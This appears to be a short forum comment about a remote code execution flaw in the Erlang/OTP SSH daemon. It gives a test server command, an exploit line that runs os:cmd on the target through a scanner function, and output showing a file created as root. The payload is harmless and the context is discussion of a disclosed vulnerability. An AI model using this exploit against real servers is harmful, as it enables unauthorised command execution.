I'm vaguely surprised that https://www.runzero.com/sshamble/ didn't find this. They did a scan over the entire internet trying invalid SSH state machine transitions, which I guess didn't cover this sequence.
The test server: $ erl -eval 'ssh:start(), ssh_dbg:on(), ssh:daemon(34222, [{system_dir, "/home/otp/ssh/keys"},{user_dir, "/home/otp/ssh/users/otptest/.ssh"}]).'
The exploit: auth.ScrapeExec(options, addr+" "+tname, res, ses, `os:cmd("touch /tmp/HAXXXED").`)
>-rw-r--r-- 1 root root 0 Apr 17 16:14 /tmp/HAXXXED